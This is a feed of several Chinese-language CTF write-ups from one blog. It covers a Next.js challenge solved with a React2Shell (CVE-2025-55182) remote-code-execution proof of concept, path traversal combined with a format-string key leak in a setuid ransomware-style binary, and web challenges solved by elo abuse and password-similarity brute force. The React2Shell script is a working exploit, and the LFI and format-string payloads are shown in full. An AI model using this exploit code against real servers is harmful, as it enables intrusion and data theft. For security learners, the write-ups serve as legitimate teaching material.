overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YFEXIRUO7Z4OCGQ5KL3WBOLW2A:/var/lib/docker/overlay2/l/XMKYSFOCJX2HFFGV5IWGSFNKNC:/var/lib/docker/overlay2/l/4UZP7SBGXDTFA5UEMMG2OXANJP:/var/lib/docker/overlay2/l/347ZPM3G26K5EFJKDYHUGZDECI:/var/lib/docker/overlay2/l/ZZLPILUDBPWY32C4UIIAF5R7IT:/var/lib/docker/overlay2/l/6W5E5MN7QKH4BHD4X7LZWC6HOI:/var/lib/docker/overlay2/l/YTSBFV7H3YYUBB7YS5EUSOWFJC:/var/lib/docker/overlay2/l/WICBG4ZBSBV7CT45DJAMGHSHLP:/var/lib/docker/overlay2/l/MJIHWQJHN5L5P6O4SMXNTOLZ7O:/var/lib/docker/overlay2/l/FKZ7U5ZEDQ4X3KYIKQHJ5HBOV6:/var/lib/docker/overlay2/l/QY3ZKXBKXVEPWDAASFA5C3Z6RN,upperdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/diff,workdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/sda1 /etc/ca7_f113.txt ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /var/www/html ext4 rw,relatime,discard,errors=remount-ro 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0

看到 /etc/ca7_f113.txt 這個檔案，去把它讀出來就好！

EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}

EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}

以大方空頭來啦！

要逆一下前端，但這部分我成為 AI 的奴隸了，我請他幫我逆向 XD

在 page-a5d5f48bdef4decb.js 中，用了 function s(t,e){return t-=138,f()[t]} 這樣的函式來取得字串。

然後他幫我寫出了一個 decode.js

function p(){let t=["YW5jZ","ZAS0A",...,"的信仰不足","m:px-"];return(p=function(){return t})()}
!function(t,e){let i=I,s=t();for(;;)try{if(parseInt(i(891))/1*(parseInt(i(699))/2)+parseInt(i(945))/3+-parseInt(i(1289))/4*(parseInt(i(1147))/5)+-parseInt(i(1376))/6+parseInt(i(1387))/7+parseInt(i(849))/8*(parseInt(i(598))/9)+-parseInt(i(844))/10===741233)break;s.push(s.shift())}catch(t){s.push(s.shift())}}(p,0);

function I(t,e){return t-=336,p()[t]}

const T = I;

console.log("T(1026):", T(1026));
console.log("T(1298):", T(1298));
console.log("T(912):", T(912));
console.log("B:", T(1267) + T(1399) + T(1138) + T(469) + T(611));

// Print all strings to find potential Action IDs
const fs = require('fs');
let output = "";
for (let i = 336; i < 336 + p().length; i++) {
    try {
        let val = I(i);
        output += i + ": " + val + "\n";
    } catch (e) {}
}
fs.writeFileSync('strings.txt', output);
console.log("Strings written to strings.txt");

執行過後

soar@universe-3 EOF % node ./decode.js    
T(1026): /api/
T(1298): claim
T(912): POST
B: https://rpc.chainpipes.uk
Strings written to strings.txt

連進去過後他說偵測到駭客，並且是用 middleware rewrite 的方式寫到 /error 但 /api 的部分都能正常使用，但好像是假的，隨便 fuzz /api/target 跟 /api/claim 好像都蠻正常的。

觀察一下他的 header

curl https://rpc.chainpipes.uk/ -I
HTTP/2 500 
date: Wed, 24 Dec 2025 14:24:41 GMT
content-type: text/html; charset=utf-8
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-middleware-rewrite: /error
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xs%2FBBN7BCq%2FPzkWxRIEB3IKRfn5l%2FaPot8y5lsYIoHsvX5lDKQJL4xFLmyUTgCx068NXqVTJZ%2F8DQMpGJ5MtkSjzGJMTGz0YezZOp2vbqQ%3D%3D"}]}
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
server: cloudflare
cf-ray: 9b30c37a3946a9bb-TPE
alt-svc: h3=":443"; ma=86400

看到有 next.js 我就想到最近很猛的漏洞 React2Shell (CVE-2025-55182) 去網路隨便載了一個 poc 來用之後。

poc.py

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

python3 poc.py https://rpc.chainpipes.uk/ "id"

">
  (這個是假的 Cloudflare 頁面<br>純粹是不知道偵測到駭客後要放什麼<br>所以放了這個)
</h1>
<div id="cf-wrapper">
    <div id="cf-error-details" class="p-0">
        <header class="mx-auto pt-10 lg:pt-6 lg:px-8 w-240 lg:w-full mb-8">
            <h1 class="inline-block sm:block sm:mb-2 font-light text-60 lg:text-4xl text-black-dark leading-tight mr-2">
                <span class="inline-block">Internal server error</span>
                <span class="code-label">Error code 500</span>
            </h1>
            <div>

誒？！還是被擋了？然後我當初就卡在這邊繞那個檢查，完全忘記 /api 沒被擋這件事，直到 hint 給出 middleware 的實作我才想起來。

python3 poc.py https://rpc.chainpipes.uk/api "id"
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
  warnings.warn(
500
0:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

好耶！接著讀 flag 就好了

python3 poc.py https://rpc.chainpipes.uk/api "cat /flag"
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
  warnings.warn(
500
0:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}
1:E{"digest":"EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}"}

這題因為當初卡最後一個地方，所以提示一出來很快拿到首殺 ><

EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/ais3_eof_qual_2026/

SCIST final CTF：OhYeahmAlwaRe Official-Writeup

solarfish — Thu, 25 Sep 2025 00:00:00 GMT

首先先讀一下題述，這怪怪的 web,rev,crypto,pwn 的 tag 相信~~嚇了不少人~~，但其實大部分漏洞都很裸，只要會一點基本概念的話~~搭配 AI~~一定解的出來 XD

先觀察一下

app.py

from flask import Flask, request, jsonify, send_file,render_template
import base64
import subprocess
import os

app = Flask(__name__)
app.static_folder = 'static'
OhYeahmAlwaRe = "./OhYeahmAlwaRe"

def init_OhYeahmAlwaRe():
    subprocess.run([OhYeahmAlwaRe, "Oh", "Yeah", "CRY"], check=True)
    return "Initialization complete ✅"

@app.route('/hacker_image', methods=['GET'])
def hacker_image():
    image = request.args.get('hacker')
    if not image:
        return {"error": "No hacker parameter"}, 400

    file_path = os.path.join(os.getcwd(), "static", "hacker", image)

    return send_file(file_path, mimetype='image/png')
    
@app.route('/version',methods=['GET'])
def version():
    author = request.args.get('author')
    if author:
        try:
            res = subprocess.run([OhYeahmAlwaRe, author],capture_output=True, text=False, check=True)
            encoded = base64.b64encode(res.stdout).decode()
            return jsonify({"response": encoded})
        except subprocess.CalledProcessError as e:
            return jsonify({"error": "Internal Server Error"}), 500
    return jsonify({"error": "No author provided"}), 400

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')    


if __name__ == '__main__':
    init_OhYeahmAlwaRe()
    app.run(host='0.0.0.0', port=31614, debug=False)

Dockerfile

FROM ubuntu:22.04

ARG SEC_DIR
ARG FLAG

RUN apt-get update && apt-get install -y \
    gcc \
    libssl-dev \
    python3 \
    python3-pip \
    xxd \
    && rm -rf /var/lib/apt/lists/*

RUN useradd -m ctfuser

WORKDIR /app/${SEC_DIR}

COPY ./templates ./templates
COPY OhYeahmAlwaRe.c ./
COPY ./static ./static

RUN gcc OhYeahmAlwaRe.c -o OhYeahmAlwaRe -lcrypto

RUN head -c 32 /dev/urandom | xxd -p -c 64 > /root/sec.key && chmod 400 /root/sec.key

RUN chown root:root OhYeahmAlwaRe && chmod 4755 OhYeahmAlwaRe

COPY app.py ./app.py

RUN python3 -m pip install flask
RUN rm OhYeahmAlwaRe.c

RUN echo "$FLAG" > /home/flag.txt

EXPOSE 31614

USER ctfuser

CMD ["python3", "app.py"]

從這邊可以觀察到幾件事情

伺服器一開始會啟動 OhYeahmAlwaRe 去初始化整個環境
/hacker_image 的功能有 LFI 可以讓你下載檔案
/version 可以讓你和 OhYeahmAlwaRe 互動
/root 底下有一個奇怪的 key, 但利用 LFI 讀取不了（權限不夠）

不過竟然可以下載檔案的話！那不就水題直接把 flag.txt 載下來就好？！

flag.txt

curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../home/flag.txt" --path-as-is -o ./flag.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    80  100    80    0     0   2132      0 --:--:-- --:--:-- --:--:--  2162

cat flag.txt 
λp��;Xì{%OS�����CڑFi
 '|U?$V�?w%

竟然是奇怪的亂碼，我們來載一下其他的檔案看看

/etc/passwd

curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../etc/passwd" --path-as-is -o ./passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   976  100   976    0     0  26795      0 --:--:-- --:--:-- --:--:-- 27111

cat passwd
!:d5�)�P�itM�m֖l){q��,r%g�L�*NƦqt%;e�#{�U��oC_�y�3__sH��C<�2FD;9]c:N)^wҩٗ/k
F�\ش��еVIzҦt{V�-��ւ�-�es}ʾKܭ�1$"�/�´]P�|K�/u_2�n`0׾�ߟN:)"7'g#͇��8�:@[gY�	�d�xv˧O�� "�g�y*#+Zq��,�
�"�'��etSHP��h
              �N�ψ'g-���8 �%�jc^��z�7,a[OPONs{x
                                               k¯H�֥Si��cAMben@u@@6���\^qPz?9ώץ�0�㈌����1�
��lR��1�tU�Wlʎhڹם}Ù7)���]��%D1�dqQˬxe�X{Kxi}!���                                         e#�
                                                P7q�PQ�4Wo�V#ڔ�F;H_��.C$��І=yc�(@��A	,MnL�������Q��c(4*ډ�>]ߎ"1רn��pkR
                                                                                                                        ���h0�wڤ̇u	/!2�G�ǐ�Y(�ǭZ�߀!,햱��J���]T�ǀ%

也是相同的結果，會不會其實所有檔案都被加密了？那我們把最奇怪的 OhYeahmAlwaRe 下載來分析一下吧！

但這邊有個技巧，在 Dockerfile 中你不知道 OhYeahmAlwaRe 跑的確切位置，但你可以用一個特別的路徑 /proc/self/cwd 去訪問到 web server 當前跑的目錄！！

curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../proc/self/cwd/OhYeahmAlwaRe" --path-as-is -o ./OhYeahmAlwaRe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17248  100 17248    0     0   388k      0 --:--:-- --:--:-- --:--:--  391k

好耶！我們直接開 IDA 來分析吧！

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+10h] [rbp-40h]
  FILE *v5; // [rsp+18h] [rbp-38h]
  _BYTE v6[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( argc == 4 && !strcmp(argv[1], "Oh") && !strcmp(argv[2], "Yeah") && !strcmp(argv[3], "CRY") )
  {
    stream = fopen("/root/sec.key", "r");
    if ( stream )
    {
      fread(&key_hex, 1uLL, 0x40uLL, stream);
      byte_4080 = 0;
      fclose(stream);
      hex_to_bytes(&key_hex, v6, 32LL);
      encrypt_all_files((__int64)v6);
      return 0;
    }
    else
    {
      return 1;
    }
  }
  else if ( argc == 2 )
  {
    v5 = fopen("/root/sec.key", "r");
    if ( v5 )
    {
      fread(&key_hex, 1uLL, 0x40uLL, v5);
      byte_4080 = 0;
      fclose(v5);
      hex_to_bytes(&key_hex, v6, 32LL);
      show_author(argv[1]);
      return 0;
    }
    else
    {
      return 1;
    }
  }
  else
  {
    return 1;
  }
}

首先可以看到他主要有兩個功能，當使用 ./OhYeahmAlwaRe Oh Yeah CRY 的時候看起來會加密檔案，讓我們追進去看看他怎麼做的！

encrypt_all_files

unsigned __int64 __fastcall encrypt_all_files(__int64 a1)
{
  DIR *dirp; // [rsp+10h] [rbp-1020h]
  struct dirent *v3; // [rsp+18h] [rbp-1018h]
  char s[16]; // [rsp+20h] [rbp-1010h] BYREF
  unsigned __int64 v5; // [rsp+1028h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  dirp = opendir("/");
  if ( dirp )
  {
    while ( 1 )
    {
      v3 = readdir(dirp);
      if ( !v3 )
        break;
      if ( strcmp(v3->d_name, ".") )
      {
        if ( strcmp(v3->d_name, "..") )
        {
          snprintf(s, 0x1000uLL, "/%s", v3->d_name);
          if ( !(unsigned int)should_skip_path(s) )
            encrypt_file(s, a1);
        }
      }
    }
    closedir(dirp);
  }
  return v5 - __readfsqword(0x28u);
}

這邊就是在選定幾乎所有檔案然後去加密

encrypt_file

unsigned __int64 __fastcall encrypt_file(const char *a1, __int64 a2)
{
  __int64 v2; // rax
  __int64 i; // [rsp+18h] [rbp-11E8h]
  FILE *stream; // [rsp+20h] [rbp-11E0h]
  __int64 n; // [rsp+28h] [rbp-11D8h]
  __int64 size; // [rsp+30h] [rbp-11D0h]
  void *ptr; // [rsp+38h] [rbp-11C8h]
  void *v9; // [rsp+40h] [rbp-11C0h]
  FILE *v10; // [rsp+48h] [rbp-11B8h]
  DIR *dirp; // [rsp+50h] [rbp-11B0h]
  struct dirent *v12; // [rsp+58h] [rbp-11A8h]
  stat buf; // [rsp+60h] [rbp-11A0h] BYREF
  char s[16]; // [rsp+1F0h] [rbp-1010h] BYREF
  unsigned __int64 v15; // [rsp+11F8h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  if ( !(unsigned int)should_skip_path(a1) && lstat(a1, &buf) != -1 )
  {
    if ( (buf.st_mode & 0xF000) == 0x4000 )
    {
      dirp = opendir(a1);
      if ( dirp )
      {
        while ( 1 )
        {
          v12 = readdir(dirp);
          if ( !v12 )
            break;
          if ( strcmp(v12->d_name, ".") )
          {
            if ( strcmp(v12->d_name, "..") )
            {
              snprintf(s, 0x1000uLL, "%s/%s", a1, v12->d_name);
              if ( !(unsigned int)should_skip_path(s) )
                encrypt_file(s, a2);
            }
          }
        }
        closedir(dirp);
      }
    }
    else if ( (buf.st_mode & 0xF000) == 0x8000 )
    {
      stream = fopen(a1, "rb");
      if ( stream )
      {
        fseek(stream, 0LL, 2);
        n = ftell(stream);
        rewind(stream);
        if ( n )
        {
          v2 = n + 15;
          if ( n + 15 < 0 )
            v2 = n + 30;
          size = 16 * (v2 >> 4);
          ptr = calloc(1uLL, size);
          fread(ptr, 1uLL, n, stream);
          fclose(stream);
          v9 = malloc(size);
          AES_set_encrypt_key();
          for ( i = 0LL; i < size; i += 16LL )
            AES_ecb_encrypt();
          v10 = fopen(a1, "wb");
          if ( v10 )
          {
            fwrite(v9, 1uLL, size, v10);
            fclose(v10);
          }
          free(ptr);
          free(v9);
        }
        else
        {
          fclose(stream);
        }
      }
    }
  }
  return v15 - __readfsqword(0x28u);
}

這邊主要是實作的地方，可以看到他是用 AES-ECB-256 加密的（可以從前面看到他讀進來的金鑰是 32 位元）。

另外在只有給定一個參數時，有一個很明顯的 fmt 漏洞，所以我們的目標就很明確了，可以利用這個 fmt 漏洞去 leak 我們的 key.

可以使用 gdb 去看 stack 上的位置或是有人暴力炸也可以！

透過 /version 就可以去跟 binary 互動了。

%2514$p%20%2515$p%20%2516$p%20%2517$p

Powered by 
0xc1c767de2b0fd95b 0x8d578ad7879f4133 0x57ca5c137fba6298 0x350e39b09bc06a3e

我們可以用這個 payload 去 leak 出 key （% 記得要 url encode 成 %25 不然會壞掉）

最後就寫腳本解回來就好了！

from Crypto.Cipher import AES

def flag():
    key_parts = [
        0xc1c767de2b0fd95b,
        0x8d578ad7879f4133,
        0x57ca5c137fba6298,
        0x350e39b09bc06a3e
    ]

    key = b''
    for part in key_parts:
        key += part.to_bytes(8, 'little')
    enc = './flag.txt'

    with open(enc, 'rb') as f:
        ciphertext = f.read()
    cipher = AES.new(key, AES.MODE_ECB)

    print(cipher.decrypt(ciphertext).decode())

if __name__ == '__main__':
    flag()

python3 de.py
SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}

SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/scist_fin_ctf/

utctf 2025 Web Writeup

solarfish — Sat, 17 May 2025 00:00:00 GMT

Web

Number Champion

The number 1 player in this game, geopy hit 3000 elo last week. I want to figure out where they train to be the best.

Flag is the address of this player (according to google maps), in the following format all lowercase:

utflag{<street-address>-<city>-<zip-code>}

For example, if the address is 110 Inner Campus Drive, Austin, TX 78705, the flag would be utflag{110-inner-campus-drive-austin-78705}

By Samintell (@Samintell on discord)

感覺有點抽象，來看看題目吧。

首先進來之後，可以看到題目會嘗試取得我們地理位置。

同意之後你可以配對對手然後跟他們 battle 數字大小。

但玩過幾輪過後會發現，你今天不管輸入多大，多奇怪的數字你都是必輸的。

感覺看不出甚麼東西，我們嘗試用 burp suite 看看有沒有特別的。

總共有這三個 route

POST /register?lat=25.0353635&lon=121.5712388 HTTP/1.1
Host: numberchamp-challenge.utctf.live
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7
Content-Length: 0
Origin: https://numberchamp-challenge.utctf.live
Priority: u=1, i
Referer: https://numberchamp-challenge.utctf.live/
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close

測試一下，不管經緯度如何，給出來的都是不同的 uuid，然後初始分數都是 1000 分

{"elo":1000,"user":"Diorite Hummingbird 919","uuid":"5b0b00f0-6ed6-46c7-878d-343263dbcb75"}

match

這個了話會給你跟對手的 distance (實際距離)

POST /match?uuid=c5abc7ad-c2b4-43bd-bdb7-8f5dc0e465fa&lat=25.0353635&lon=121.5712388 HTTP/2
Host: numberchamp-challenge.utctf.live
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7
Content-Length: 0
Origin: https://numberchamp-challenge.utctf.live
Priority: u=1, i
Referer: https://numberchamp-challenge.utctf.live/
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

{"distance":7825.89656037577,"elo":971,"user":"Schist Darter 701","uuid":"5dead638-9271-4c61-8b20-d4a2381f6483"}

battle

最後的話是指定兩個 uuid 互相對戰，但你必輸

POST /battle?uuid=c5abc7ad-c2b4-43bd-bdb7-8f5dc0e465fa&opponent=6663a74f-d6d3-465f-9b8b-e819cdad5a16&number=123 HTTP/2
Host: numberchamp-challenge.utctf.live
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7
Content-Length: 0
Origin: https://numberchamp-challenge.utctf.live
Priority: u=1, i
Referer: https://numberchamp-challenge.utctf.live/
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

{"elo":960,"opponent_number":6028,"result":"loss"}

看到這邊後，會去看看題述，可以知道我們要想辦法超過三千分。但你有發現嗎，今天我們可以任意註冊帳號，又可以指定兩個人對戰。我們是不是可以先指定一個帳號，然後開很多帳號輸給他，就可以拿到 3000 分了。

~~( 但我後來發現一件事就是我指定兩個相同的帳號刷更快 )~~

好，刷到 3000 分後我們回到 match 那邊看看

POST /match?uuid=5b0b00f0-6ed6-46c7-878d-343263dbcb75&lat=25.0353635&lon=121.5712388

{"distance":7689.855053589143,"elo":3000,"user":"geopy","uuid":"d0f627bc-ac15-4d45-8e08-73ee3b5fd06c"}

給出目標的 distance 了! 這時候只要修改經緯度，找到 geopy 這個人在那裡就好了!

我們先手動測試一個範圍，最後寫個二分搜就可以了!

import requests

def get_distance(lat, lon, uuid):
    url = f"https://numberchamp-challenge.utctf.live/match?uuid={uuid}&lat={lat}&lon={lon}"
    headers = {
        "Accept": "*/*",
        "Referer": "https://numberchamp-challenge.utctf.live/",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
    }
    response = requests.post(url, headers=headers)
    if response.status_code == 200:
        return response.json().get("distance", float("inf"))
    return float("inf")

def find_best_coordinates(uuid, lat=40, lon=-83.5, step=0.1, max_iterations=100):
    best_lat, best_lon = lat, lon
    min_distance = get_distance(lat, lon, uuid)

    for _ in range(max_iterations):
        for dlat in [-step, 0, step]:
            for dlon in [-step, 0, step]:
                new_lat, new_lon = best_lat + dlat, best_lon + dlon
                distance = get_distance(new_lat, new_lon, uuid)
                print(f"Trying lat: {new_lat}, lon: {new_lon} -> distance: {distance}")

                if distance < min_distance:
                    min_distance = distance
                    best_lat, best_lon = new_lat, new_lon

        if min_distance == 0:
            break

        step /= 2  

    return best_lat, best_lon, min_distance

uuid = "bbea5a2e-2537-4c0f-a49d-33ccd046c038"
lat, lon, distance = find_best_coordinates(uuid)
print(f"Best coordinates: lat={lat}, lon={lon}, distance={distance}")

~~腳本 AI 力量~~

最後把找到的經緯度拿去搜尋

Best coordinates: lat=39.940418395028665, lon=-82.99669527523196, distance=0.0

就是這間了!

utflag{1059-s-high-st-columbus-43206}

OTP

Find your One True Pairing on this new site I made! Whoever has the closest OTP to the "flag" will get their very own date!

This problem resets every 30 minutes.

By Sasha (@kyrili on discord)

一樣是黑箱，我們先來看看功能。

POST /index.php

username=123&password=123

指定兩人配對分數

POST /index.php

username1=123&username2=321


---output---

The pairing for 123 and 321 is: 6

搜尋全部人配對分數

POST /index.php

usernamesearch=flag

---output---
flag x flag: 0
az6_18539 x flag: 207
az6_18529 x flag: 207
az6_18530 x flag: 207
az6_18531 x flag: 207
az6_18532 x flag: 207
az6_18518 x flag: 207
az6_18519 x flag: 207
az6_18520 x flag: 207
az6_18521 x flag: 207
az6_18522 x flag: 207
az6_18523 x flag: 207
az6_18524 x flag: 207
az6_18551 x flag: 207
123 x flag: 2274
321 x flag: 2274

然後真正的 flag 是 flag，在這邊都還看不出 flag 在哪。

一開始我以為要 sqli，但怎麼注入都不行，註冊那邊他甚至會跟你說：

Invalid user/secret combo. Usernames and secrets can only contain alphanumeric characters, underscore, and curly braces. Usernames must be 1-16 characters long and secrets must be 1-32 characters long.

...等等，特殊字元，又有比對分數系統，我通靈出分數的計算條件可能是判斷兩個人的密碼夠不夠接近，若越接近分數則越小。(因為剛剛可以看出 flag x flag = 0)

~~這邊我通靈超久~~

馬上來實驗看看

username=soaruser1&password=utf // reg

soaruser1 x flag : 2051 

username=soaruser2&password=utfl //reg

soaruser2 x flag : 1943

username=soarbutchardif&password=utfk //reg for ascii different

soarbutchardif x flag : 1950

賓果，密碼越相近，分數越低。

繼續寫 python 來爆破。

import requests
import random
import string
from pwn import info

def generate_random_username():
    try:
        username_length = random.randint(8, 16)
        valid_chars = string.ascii_letters + string.digits + "_{}"
        return ''.join(random.choices(valid_chars, k=username_length))
    except Exception as e:
        print(f"Error in generate_random_username: {e}")
        return None

def register(username, password):
    url = 'http://challenge.utctf.live:3725/index.php'
    data = {'username': username, 'password': password}

    try:
        response = requests.post(url, data=data, timeout=3)
        if f"Successfully registered {username}" in response.text:
            print(f"Successfully registered {username}")
        else:
            print(f"Registration failed for {username}")
    except requests.exceptions.Timeout:
        print(f"Timeout occurred during registration for {username}. Retrying...")
        return False
    except Exception as e:
        print(f"Error during registration for {username}: {e}")
        return False

    return True

def compare_score(username1, username2):
    url = 'http://challenge.utctf.live:3725/index.php'
    data = {'username1': username1, 'username2': username2}

    try:
        response = requests.post(url, data=data, timeout=2)
        if 'The pairing for' in response.text:
            score = int(response.text.split('The pairing for')[1].split('is:')[1].split('</p>')[0].strip())
            return score
    except requests.exceptions.Timeout:
        print("Timeout occurred during score comparison. Retrying...")
        return None
    except Exception as e:
        print(f"Error during score comparison: {e}")
        return None

    return None

def search(now_flag_state):
    valid_chars = string.ascii_letters + string.digits + "_{}"
    less_score = 100000
    ans_char = ''

    for i in valid_chars:
        try:
            print(f"Trying character: {i}")
            random_username = generate_random_username()
            if random_username is None:
                print("Error generating random username. Skipping iteration.")
                continue

            register(random_username, now_flag_state + i)
            score = compare_score(random_username, 'flag')
            if score is None:
                print(f"Error comparing score for {random_username}. Skipping.")
                continue

            print("[+]" + str(score))
            if score < less_score:
                print(f"Found character: {i}, with score: {score}")
                less_score = score
                ans_char = i
        except Exception as e:
            print(f"Error in search iteration for character '{i}': {e}")

    print(f"Ans: {ans_char}, with score: {less_score}")

search('utflag{On3_sT3P_4t_4_t1m3}')

我這樣寫是因為他很長送到一半就 timeout，所以我一個一個送多跑幾次。

賽後解

Misc - Trapped in Plain Sight 1

一個 ssh 機器，讓你連上去

trapped@47ca6c33ca55:~$ ls -al
total 32
dr-xr-xr-x 1 trapped  trapped  4096 Mar 14 19:23 .
dr-xr-xr-x 1 root     root     4096 Mar 14 19:23 ..
-r--r--r-- 1 trapped  trapped   220 Feb 25  2020 .bash_logout
-r--r--r-- 1 trapped  trapped  3771 Feb 25  2020 .bashrc
-r--r--r-- 1 trapped  trapped   807 Feb 25  2020 .profile
-r-x------ 1 noaccess noaccess   28 Mar 14 19:23 flag.txt

恩沒權限? 那來看看有啥特別的 UID 我們可以用

trapped@47ca6c33ca55:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/xxd
/usr/lib/openssh/ssh-keysign
